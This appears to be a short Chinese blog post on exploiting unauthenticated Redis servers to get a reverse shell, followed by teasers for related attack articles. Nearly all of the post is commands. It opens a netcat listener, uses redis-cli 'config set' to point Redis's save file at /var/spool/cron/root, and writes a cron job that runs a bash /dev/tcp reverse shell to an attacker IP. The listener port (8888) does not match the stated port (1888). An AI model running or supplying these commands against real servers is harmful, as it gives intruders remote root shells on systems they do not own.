redis未授权访问get-shell (二)（反弹shell）

作者: 喵了个咪0 | 来源:发表于2020-05-31 21:08 被阅读0次

一、

在攻击者服务器上监听一个端口1888（注意该端口是开放的）：

nc -lvp 8888

二、

连接redis，写入反弹shell

redis-cli -h xxx.xxx.xxx.xxx

在这里插入图片描述config set dir /var/spool/cron

config set dbfilename root

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.178.130/1888 0>&1\n\n”

save

redis未授权访问get-shell (二)（反弹shell）
一、在攻击者服务器上监听一个端口1888（注意该端口是开放的）： nc -lvp 8888 二、连接redis...
Redis未授权访问
Redis的未授权访问向Redis服务器上传SSH公钥通过计划任务反弹shell
Redis 未授权访问（反弹shell）
Redis安装环境：Centos 7 wget 获取 redis 安装包 [ root@test ]# wge...
Redis未授权访问
redis未授权访问详解redis 未授权访问利用redis 未授权redis 未授权2centos安装redis...
redis未授权访问get-shell (一)（密钥登陆）
一、简介： REmote DIctionary Server(Redis) 是一个由Salvatore Sanfi...
未授权访问应用集合（目录）
a)Redis未授权访问 b)Jenkins未授权访问 c)MongoDB未授权访问 d)ZooKeeper未授权...
2019-08-06redis未授权访问漏洞复现利用
redis未授权访问漏洞 1. redis未授权访问漏洞 Redis 默认情况下，会绑定在 0.0.0.0:637...
小工具分享Scanunauthorized 一键批量检测各种未授
Scanunauthorized 一键批量检测各种未授权访问漏洞功能 redis未授权 Hadoop未授权 do...
redis未授权访问
0x00 前言咸鱼了很久（bushi）以后终于开始了新的学习，就我这个乌龟学习+狗熊掰棒子的学法，被时代的洪流淘...
Redis未授权漏洞利用方式
总结一下redis未授权拿shell: redis-cli -h ip info 查看系统类型 Windows： ...